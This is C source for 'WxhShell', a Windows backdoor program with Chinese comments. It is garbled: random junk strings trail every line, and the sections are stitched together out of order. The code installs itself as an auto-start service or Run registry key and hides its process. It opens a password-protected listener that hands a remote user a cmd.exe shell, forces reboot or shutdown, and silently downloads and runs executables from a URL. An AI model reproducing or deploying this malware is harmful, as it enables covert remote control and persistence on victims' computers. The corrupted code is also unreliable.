    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N2% :h;tf  
    if(Boot(SHUTDOWN)) ]$|st^Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S QSA%B$<  
    else { WDvV LU`  
    closesocket(wsh); /vy?L\`)#  
    ExitThread(0); Mn{XVXY@qm  
    } R~cIT:i  
    break; p&uCp7]U  
    } d "B5==0I  
  // 获取shell La]4/=a  
  case 's': { fQ1 0O(`g,  
    CmdShell(wsh); E^82==R  
    closesocket(wsh); W.p66IQwL&  
    ExitThread(0); U&s(1~e\  
    break; {IrJLlq  
  } 7~D`b1||  
  // 退出 4/f[`].#W  
  case 'x': { YLigP"*~^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LC76Qi;|k  
    CloseIt(wsh); ho_4fDv  
    break; 7g8B'ex J  
    } aTX]+tBoe  
  // 离开 t%:G|n Sz  
  case 'q': { #.b^E3#+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); > R#9\/s  
    closesocket(wsh); Stt* 1gT  
    WSACleanup(); MorW\7-}  
    exit(1); IX?@~'  
    break; egbb1+tY  
        } zG<0CZQ8  
  } "!^c  
  } 'cYQ ?;  
ze ?CoDx2  
  // 提示信息 tbY  SK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =:;YTie  
} xp(mB7;:  
  } HI z9s4Y_  
$CM4&{B"i  
  return; M",];h(I6(  
} 1-/4Y5?}  
Y6+k9$h  
// shell模块句柄 N:d D*[QZ  
int CmdShell(SOCKET sock) PJ}[D.elO  
{ Ae.]F)w_\  
STARTUPINFO si; `P#8(GU  
ZeroMemory(&si,sizeof(si)); dbg|V oNf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tgc@7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ea>[BB3#  
PROCESS_INFORMATION ProcessInfo; wD}EW  
char cmdline[]="cmd"; _m" ^lo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4sI3(z)9H  
  return 0; x)d2G 6x  
} |KTpK(6p  
nwhm[AaNs  
// 自身启动模式 D)h["z|F  
int StartFromService(void) 8dlInms  
{ aK!xRnY  
typedef struct +B](5z4  
{ "\}21B~{7'  
  DWORD ExitStatus; jzQ9zy_  
  DWORD PebBaseAddress; ^971<B(v  
  DWORD AffinityMask;  KzIt  
  DWORD BasePriority; 3b,=  
  ULONG UniqueProcessId; 1 iquHn  
  ULONG InheritedFromUniqueProcessId; JtThkh'-"  
}   PROCESS_BASIC_INFORMATION; cj`#Tg.  
,b.kw}k  
PROCNTQSIP NtQueryInformationProcess; r,QJG$ Jo  
#%;<FFu\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q.*'H_Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V2lp7"  
UP5%C;  
  HANDLE             hProcess; ^GrNfB[Qu  
  PROCESS_BASIC_INFORMATION pbi; %}\ vW  
K90D1sD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {jrZ?e-q  
  if(NULL == hInst ) return 0; IruyE(;HS  
G3oxa/mO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #*[,woNk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2lX[hFa5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vI4%d,  
'M47'{7T  
  if (!NtQueryInformationProcess) return 0; sb8z_3   
F fZ{%E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XryQ)x(  
  if(!hProcess) return 0; @"jmI&hYn  
nl.~^CP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q#l.A?rK\  
=ZFcxGo  
  CloseHandle(hProcess); X+/{%P!w  
Jii?r*"d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -WQ_[t9l  
if(hProcess==NULL) return 0; uPM8GIvZX.  
W dei`u[  
HMODULE hMod; iH($rSE  
char procName[255]; ~+7ad$   
unsigned long cbNeeded; +#^sy>  
|^ 2rtI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QJ[(Y@ O6a  
C]aOgt/U  
  CloseHandle(hProcess); ru#T^AI*^  
Z $ p^v*y  
if(strstr(procName,"services")) return 1; // 以服务启动 )6PJ*;p-  
,?P8m"  
  return 0; // 注册表启动  `;zu1o  
} eTLI/?|+N  
i528e{&  
// 主模块 _%AJmt}  
int StartWxhshell(LPSTR lpCmdLine) Wm];pqN  
{ 5d)'`hACe  
  SOCKET wsl; f hVbJU  
BOOL val=TRUE; MoC*tImWR  
  int port=0; ?6_"nT*}  
  struct sockaddr_in door; aNuZ/9O  
D? ^`(X P  
  if(wscfg.ws_autoins) Install(); :u[ oc.  
H>gWxJ 5  
port=atoi(lpCmdLine); 'iMHAP;N  
p,M3#^ q  
if(port<=0) port=wscfg.ws_port; 6,CU)-98G  
qk"oFP6  
  WSADATA data; PPuXas?i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z226yNlS  
>$#*`6R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M6@'9E]|>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~(Ih~/5\^  
  door.sin_family = AF_INET; yVu^ >  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PV5TG39qQ  
  door.sin_port = htons(port); U*`  
* K0j5dx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *DPTkMQN  
closesocket(wsl); zLJ:U`uh\  
return 1; I@y2HxM  
} R#[QoyJ  
?15POY ?Z  
  if(listen(wsl,2) == INVALID_SOCKET) { "jkw8UVz  
closesocket(wsl); QZ:]8MHl]  
return 1; < -@,  
} nr<}Hc^f-  
  Wxhshell(wsl); M]%!n3Fb  
  WSACleanup(); PVQ#>_~5  
|j.KFu845  
return 0; / h 2*$  
2@=cqD7x  
} <;TP@-a  
;XKo44%  
// 以NT服务方式启动 pqGf@24c<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c_D,MW\IC  
{ )-TeDIfm  
DWORD   status = 0; 3cV+A]i  
  DWORD   specificError = 0xfffffff; #XYLVee,  
sqMNon`5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; softfjl&l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0pZ.; /<{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s)`1Rf  
  serviceStatus.dwWin32ExitCode     = 0; g4.'T51  
  serviceStatus.dwServiceSpecificExitCode = 0; {Q#Fen ;y|  
  serviceStatus.dwCheckPoint       = 0; iuH8g  
  serviceStatus.dwWaitHint       = 0; qxg7cj2  
Qw{\sCH>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zBrWm_R5T  
  if (hServiceStatusHandle==0) return; ZmR[5 mv@  
5~kW-x  
status = GetLastError(); cx1WGbZ  
  if (status!=NO_ERROR) jl 30\M7  
{ sJjl)Qs)T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ECE{xoc  
    serviceStatus.dwCheckPoint       = 0; mPw56>  
    serviceStatus.dwWaitHint       = 0; 6qHvq A,  
    serviceStatus.dwWin32ExitCode     = status; "0!eb3n  
    serviceStatus.dwServiceSpecificExitCode = specificError; |({UV-`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b;~EJ  
    return; sg9x?Bx9  
  } anKb  
#:Sy`G6!?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -G^t-I  
  serviceStatus.dwCheckPoint       = 0; L(!!7B_,  
  serviceStatus.dwWaitHint       = 0; NdXy% Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6S+K*/w  
} oE|u;o  
X{9JSq  
// 处理NT服务事件,比如:启动、停止 4E>/*F!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C^8)IN=$  
{ U d=gdsL  
switch(fdwControl) 3 DO$^JJ.  
{ 1>*UbV<R;u  
case SERVICE_CONTROL_STOP: 0[$Mo3c+'  
  serviceStatus.dwWin32ExitCode = 0; rz%[o,s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J*q=C%}.  
  serviceStatus.dwCheckPoint   = 0; nV,{w4t+  
  serviceStatus.dwWaitHint     = 0; R1b )  
  { tr9_bl&z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '@}?NV0  
  } T$N08aju#  
  return; _QOOx+%*5  
case SERVICE_CONTROL_PAUSE: Ymk4Cu.s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <>5:u  
  break; OV@h$fg  
case SERVICE_CONTROL_CONTINUE: l]58P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z+h7 0,|  
  break; r* /XB0  
case SERVICE_CONTROL_INTERROGATE: }T1Xds8w)t  
  break; z7us*8X{  
}; nm:let7GB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V~uA(3\U  
} e2=,n6N]c  
-R8!"~o  
// 标准应用程序主函数 =ZJ?xA8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j5VRv$P  
{ lWyP[>*  
^6NABXL  
// 获取操作系统版本 SUnmp  
OsIsNt=GetOsVer(); r1az=$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cak/#1  
C&s }m0R  
  // 从命令行安装 |uBot#K|  
  if(strpbrk(lpCmdLine,"iI")) Install(); O^="T^J  
HV.|Eh_7  
  // 下载执行文件 52C-D+zCJ  
if(wscfg.ws_downexe) { x#e\ H F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rEpKX  
  WinExec(wscfg.ws_filenam,SW_HIDE); vdFQf ^l  
} V.a]IkK'K  
4Z T  
if(!OsIsNt) { '14l )1g.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gp3t?7S{T  
HideProc(); %_J/&{6G  
StartWxhshell(lpCmdLine); +n.j.JP"X  
} 4[V6so0  
else *d,n2a#n5  
  if(StartFromService()) ADl>~3b  
  // 以服务方式启动 F~@1n ,[  
  StartServiceCtrlDispatcher(DispatchTable); 6x3Ew2  
else OD@A+"  
  // 普通方式启动 [\%t<aa  
  StartWxhshell(lpCmdLine); 0&L0j$&h  
-_f0AfU/a  
return 0; 1eR{~ ,  
} qx<zX\qI6n  
N+@@EOmH  
nF[eb{GR`  
Z a y'/b  
=========================================== qA_DQ):  
cZK?kz_Y  
n,'AFb4AF  
}m lbN0v  
"BNmpP  
>_% g8T'  
" P9cI{RI  
*CD=cmdD*  
#include <stdio.h> h|>n3-k|p  
#include <string.h> jnLu|W&  
#include <windows.h> H&Lbdu~E  
#include <winsock2.h> W:( Us y  
#include <winsvc.h> :7;Iy u  
#include <urlmon.h> p{#7\+}  
d_|v=^;  
#pragma comment (lib, "Ws2_32.lib") ]{,=mOk  
#pragma comment (lib, "urlmon.lib") ~hw4gdtS  
u H;^>`DT  
#define MAX_USER   100 // 最大客户端连接数 s?I=}  
#define BUF_SOCK   200 // sock buffer =&G|} M  
#define KEY_BUFF   255 // 输入 buffer 7Sv5fLu2  
Hx/Vm`pRyX  
#define REBOOT     0   // 重启 g_!xO2LH,8  
#define SHUTDOWN   1   // 关机 `2U/O .rV  
3Eux-C!t  
#define DEF_PORT   5000 // 监听端口 &CsBG?@Z|  
R =c  
#define REG_LEN     16   // 注册表键长度 #^ [N4uV  
#define SVC_LEN     80   // NT服务名长度 6h*bcb#C  
J3JRWy@?P  
// 从dll定义API iQR})=Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jQlK-U=oi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rG%_O$_dO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SmEd'YD!J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p q5H{  
C xN@g'  
// wxhshell配置信息 }pZnWK+  
struct WSCFG { (I 0t*Se  
  int ws_port;         // 监听端口 2F(\}%UT~  
  char ws_passstr[REG_LEN]; // 口令 _)H+..=  
  int ws_autoins;       // 安装标记, 1=yes 0=no cmLu T/oV  
  char ws_regname[REG_LEN]; // 注册表键名 _4#psxl[M  
  char ws_svcname[REG_LEN]; // 服务名 39m"}26*E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z#V\[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ng6p#F,3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X)+sHcE~#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vPq\reKe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W@}5e-q)O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v2z/|sG  
)bg,rESM  
}; Jg6[/7*m  
oRF"[G8BV  
// default Wxhshell configuration iiFKt(  
struct WSCFG wscfg={DEF_PORT, Re ur#K  
    "xuhuanlingzhe", kqB 00 ;  
    1, Q$5:P&  
    "Wxhshell", (ZSSp1R v  
    "Wxhshell", '0]_8Sy&  
            "WxhShell Service", !|QeYGnq6  
    "Wrsky Windows CmdShell Service", AUpC HG7  
    "Please Input Your Password: ", At|tk  
  1, ~ ?_Z!eS  
  "http://www.wrsky.com/wxhshell.exe", t$5]1dY$X  
  "Wxhshell.exe" U,(+rMeY0  
    }; #iU/Yg!  
WU@,1.F:  
// 消息定义模块 wZb@VG}%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a6#PZ!1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^aoLry&i=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6Ky"4\e  
char *msg_ws_ext="\n\rExit."; W5;sps  
char *msg_ws_end="\n\rQuit."; LA Vgf>  
char *msg_ws_boot="\n\rReboot..."; {vlh ,0~  
char *msg_ws_poff="\n\rShutdown..."; Oz7v hOU  
char *msg_ws_down="\n\rSave to "; :!\./z8v  
'gH#\he[Dh  
char *msg_ws_err="\n\rErr!"; $B/cj^3  
char *msg_ws_ok="\n\rOK!"; e28#Yh@U  
RuuU}XQ  
char ExeFile[MAX_PATH]; wfzb:Aig`  
int nUser = 0; D:,<9%A  
HANDLE handles[MAX_USER]; j!H?dnE||  
int OsIsNt; 0g)mf6}o  
>,2],X"G  
SERVICE_STATUS       serviceStatus; C5 !n {  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xK ux5u _  
".Ug A\0  
// 函数声明 wQ.zj`?$(  
int Install(void); Zt=X %M|aw  
int Uninstall(void); 9q{dRS[A  
int DownloadFile(char *sURL, SOCKET wsh); Cu7iHhY5  
int Boot(int flag); 5xKR ]u  
void HideProc(void); Yl=  |P`  
int GetOsVer(void); y}`%I&]n  
int Wxhshell(SOCKET wsl); +w5?{J  
void TalkWithClient(void *cs); 2>s;xZ@/'R  
int CmdShell(SOCKET sock); ugP R)tDfM  
int StartFromService(void); ?A>-_B  
int StartWxhshell(LPSTR lpCmdLine); *k$&Hcr$  
 i9"1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3!x)LUWfWY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )9->]U@  
de=T7,G#  
// 数据结构和表定义 LlqhZetS  
SERVICE_TABLE_ENTRY DispatchTable[] = .&dcJh*O+  
{ fok#D>q  
{wscfg.ws_svcname, NTServiceMain}, K-5)Y+| >  
{NULL, NULL} &x  #5-O'  
}; j>23QPG`6U  
"bH ~CG:Y  
// 自我安装 q<7n5kJ~  
int Install(void) 2{N0.  |5  
{ 0qd`Pf   
  char svExeFile[MAX_PATH]; `^[ra% a  
  HKEY key; yhmW-#+^e  
  strcpy(svExeFile,ExeFile); Hua8/:![+  
h,g~J-x`|  
// 如果是win9x系统,修改注册表设为自启动 ZAwl,N){  
if(!OsIsNt) { w@We,FUJN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /-lmfpT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2F(j=uV+  
  RegCloseKey(key); v/dcb%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *<1m 2t>.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UHWun I S  
  RegCloseKey(key); 3u<2~!sR  
  return 0; cs)hq4-L`  
    } 2]wh1)  
  } ]&>)=b!,  
} #96a7K  
else { ;Wdo*ysW  
40XI\yE_?  
// 如果是NT以上系统,安装为系统服务 XRkqMq%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :08UeEy  
if (schSCManager!=0) Iq*7F5B  
{ *XuzTGa"  
  SC_HANDLE schService = CreateService ly2R8$Y`y`  
  ( 7=9jXNk Y  
  schSCManager, ]g :ZokU  
  wscfg.ws_svcname, uwJkqlUOz  
  wscfg.ws_svcdisp, 1+'3{m \5T  
  SERVICE_ALL_ACCESS, +zvK/Fj2q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *h1@eJHMz  
  SERVICE_AUTO_START, )U` c9*.  
  SERVICE_ERROR_NORMAL, |u[gI+TUE  
  svExeFile, -}s?!Pg>  
  NULL, P^UcpU,  
  NULL, 7w|s8B  
  NULL, j#,O,\  
  NULL, _"=~aMXC.)  
  NULL "$_ypgRrSR  
  ); l_WY];a  
  if (schService!=0) BKk*<WMD  
  { tq[C"| dH  
  CloseServiceHandle(schService); #@ G2n@Hj  
  CloseServiceHandle(schSCManager); }V{, kK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iVRz  
  strcat(svExeFile,wscfg.ws_svcname); 'J}lnt[V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9 +6"<r!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `{%*DHa  
  RegCloseKey(key); vs +N{ V  
  return 0; W+vm!7wX0  
    } iBQftq7  
  } O1A*-G:X  
  CloseServiceHandle(schSCManager);  2B#WWb  
} w}iflAnjq  
} !?96P|G  
@47TDCr  
return 1; HhO$`YZ%>  
} 8wOr`ho B  
=S,^"D\Z:  
// 自我卸载 !**q20-aP  
int Uninstall(void) 1D$k:|pP~  
{ rqIt}(J  
  HKEY key; V+Z22  
;8!D8o(+  
if(!OsIsNt) { 'EQAG' YV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h W-[omr0  
  RegDeleteValue(key,wscfg.ws_regname); P VPwYmte  
  RegCloseKey(key); ;Zw28!#Rt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b$BUo8O}  
  RegDeleteValue(key,wscfg.ws_regname); V}("8L  
  RegCloseKey(key); S9.jc@#.`  
  return 0; 7W*OyH^  
  } (L\tp> E-  
} D4G{= Y}G  
} C9fJLCufC  
else { 3jQ |C=   
nv={.H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JO$0Z  
if (schSCManager!=0) X@ss d  
{ Y\rKw!u_!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R .,w`<<  
  if (schService!=0) '{|87kI  
  { Cs$g]&a  
  if(DeleteService(schService)!=0) { t6tqv  
  CloseServiceHandle(schService); #(7OvW+y  
  CloseServiceHandle(schSCManager); GxBj N7"  
  return 0; /a,q4tD@  
  } ,Vogo5~X  
  CloseServiceHandle(schService); (wTg aV1  
  } R75sK(oS  
  CloseServiceHandle(schSCManager); 54k Dez  
} >+1bTt/-F  
} {uw]s< 6  
tlW}lN}  
return 1; 5\pizD/17  
} tIg_cY_y  
DP?gozm  
// 从指定url下载文件 Zy<0'k%U  
int DownloadFile(char *sURL, SOCKET wsh) $h2h&6mH  
{ __a9}m4i7x  
  HRESULT hr; 7':|f"  
char seps[]= "/"; aW"BN 5eM>  
char *token; F/&&VSv>LO  
char *file; I?1^\s#L  
char myURL[MAX_PATH]; % $J^dF_0  
char myFILE[MAX_PATH]; \d6A<(!=v  
{BF$N#7  
strcpy(myURL,sURL); Dd*C?6  
  token=strtok(myURL,seps); x[_+U4-/  
  while(token!=NULL) Ft07>E$/Q^  
  { %rf<YZ.\  
    file=token; C 9DRVkjj  
  token=strtok(NULL,seps); CkOd>Kn  
  } f#!Ljjf$;  
8r~4iVwg  
GetCurrentDirectory(MAX_PATH,myFILE); rtPQ:CaA)?  
strcat(myFILE, "\\"); wy7f7zIa  
strcat(myFILE, file); ?&[`=ZVn  
  send(wsh,myFILE,strlen(myFILE),0); a{y ;Ub  
send(wsh,"...",3,0); P:Bg()  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /u?^s "C/  
  if(hr==S_OK) 5-MI 7I@l  
return 0; /m%;wH|6%  
else +Ix;~  
return 1;  G=wJz  
CrK}mbe  
} Y M5;mPR  
qLcs)&}/A  
// 系统电源模块 F&ux9zP  
int Boot(int flag) -ohqw+D  
{ 1%>/%eyn5  
  HANDLE hToken; -&+[/  
  TOKEN_PRIVILEGES tkp; VLRW,lR9O  
Wu:evaZ:i  
  if(OsIsNt) { O5E\#*<K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u-8,9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tYVmB:l  
    tkp.PrivilegeCount = 1; pJV<#<#Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;0 ,-ywK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); emTqbO  
if(flag==REBOOT) { Qv#]T,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6z~6o0s~  
  return 0; L9@nx7D  
} B lD  
else { ?xIwQd0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M4`qi3I  
  return 0; V4_ZBeWA  
} <5=^s%H  
  } 2|m461   
  else { |SCO9,Fs  
if(flag==REBOOT) { '};pu;GA7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2WqjNqx)6  
  return 0; ^`ny]3JA  
} ?8pRRzV$  
else { c1c8):o+V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )A,M T i  
  return 0; :GK]"sNC  
} G{)2f &<  
} l1nrJm8  
: W^ k3/t  
return 1; 9[T}cN=|  
} rQCj^=cf;~  
Ju# - >]  
// win9x进程隐藏模块 Dz8)u:vRS  
void HideProc(void) ',~,hJ0  
{ I~|.Re9a  
y$'(/iyz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ApR>b%  
  if ( hKernel != NULL ) *{ 6{ZKM  
  { xO{yr[x"L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5*C#~gd& F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (*F/^4p!$  
    FreeLibrary(hKernel); oUoDj'JN{  
  } yHe%e1  
HZKqGkE  
return; ogtl UCUD  
} c3lU  
t 7dcaNBZ  
// 获取操作系统版本 | bDUekjR  
int GetOsVer(void) E {*d`n  
{ 3,t3\`=  
  OSVERSIONINFO winfo; h_n`E7&bG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jYI\.bc  
  GetVersionEx(&winfo); $cflF@ 3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =)!sWY:  
  return 1; p%[/ _ -7  
  else l]C#bL>i  
  return 0; P9c!   
} br`cxgZ0"  
~qT5F)$B-  
// 客户端句柄模块  b"iPuN!p  
int Wxhshell(SOCKET wsl) ;<hLy(@  
{ <*oTVl4fS  
  SOCKET wsh; lk;4l Z  
  struct sockaddr_in client; MfQ 9d9  
  DWORD myID; HHzAmHt  
6fY-D qF!  
  while(nUser<MAX_USER) [7 _1GSS1  
{ hv (>9N  
  int nSize=sizeof(client); 7Ji|x{``  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \SKobO?qI  
  if(wsh==INVALID_SOCKET) return 1; @L0xU??"|  
t>Lq "]1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *MC+i$  
if(handles[nUser]==0) qjDt6B^RO  
  closesocket(wsh); -c4g;;%  
else h9RL(Kq{  
  nUser++; :J6 xYy$  
  } $ra q,SP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %^Zu^uu   
$\Oc]%  
  return 0; RqB 8g  
} A{|^_1  
17la/7l<  
// 关闭 socket ]-g9dV_[>j  
void CloseIt(SOCKET wsh) e|> 5 R  
{ (P'{A>aHl0  
closesocket(wsh); bY&!d.  
nUser--; 8n??/VDRl  
ExitThread(0); X)Zc*9XA  
} Nk2n&(~$  
[] cF*en  
// 客户端请求句柄 _3%eIyk4T  
void TalkWithClient(void *cs) uHeKttR-  
{ SFJ"(ey$  
[8jIu&tJf  
  SOCKET wsh=(SOCKET)cs; AdD,94/  
  char pwd[SVC_LEN]; J~}sQ{ 0  
  char cmd[KEY_BUFF]; ANWfRtiU#  
char chr[1]; z>]P_E~`}  
int i,j; fQQj2> 3w  
;-kC&GZf  
  while (nUser < MAX_USER) { R`KlG/Tk  
Xrl# DN  
if(wscfg.ws_passstr) { Y#[xX2z9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +9exap27  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ghGpi U$  
  //ZeroMemory(pwd,KEY_BUFF); pF/s5z  
      i=0; q{Ao j  
  while(i<SVC_LEN) { P"[\p|[U  
owviIZFe  
  // 设置超时 X{Ij30Bmv  
  fd_set FdRead; 0hg4y  
  struct timeval TimeOut; e1Q   
  FD_ZERO(&FdRead); A3^_'K  
  FD_SET(wsh,&FdRead); L.2!Q3&  
  TimeOut.tv_sec=8; L8,/  
  TimeOut.tv_usec=0; dOX"7kZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?k`UQi]Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'D'H)J  
"O~7s}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H7FOf[3'  
  pwd=chr[0]; 9CG&MvF c  
  if(chr[0]==0xd || chr[0]==0xa) { O@HL%ha  
  pwd=0; QpCTHpZ  
  break; uN&UYJ' B  
  } U0=: `G2l  
  i++; qr4.s$VGs*  
    } 1 R,SA:L$  
IFsh"i  
  // 如果是非法用户,关闭 socket x7GYWK 9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]w0_!Z&  
} [2{2w68D!  
Gv&%cq1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,n{R,]y\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A01PEVd@A  
.;F%k,!v  
while(1) { m$bYx~K  
\NTVg6>qN  
  ZeroMemory(cmd,KEY_BUFF); X2T_}{  
!&},h=  
      // 自动支持客户端 telnet标准   } `Cc-X7  
  j=0; }Q a  
  while(j<KEY_BUFF) { H1c>3c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Wgkf_3  
  cmd[j]=chr[0]; MzMVs3w|  
  if(chr[0]==0xa || chr[0]==0xd) { & LhQr-g  
  cmd[j]=0; %mAwK<MY`  
  break; bgeJVI  
  } MFn\[J`Ra  
  j++; "[ieOFI  
    } c+{ ar^)*  
W2 {4s 1  
  // 下载文件 .On3ZN  
  if(strstr(cmd,"http://")) { h<G7ocu!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ; GEr8_7  
  if(DownloadFile(cmd,wsh)) s14D(:t(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vkf c&+  
  else G/ H>M%M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b ,x$wP+  
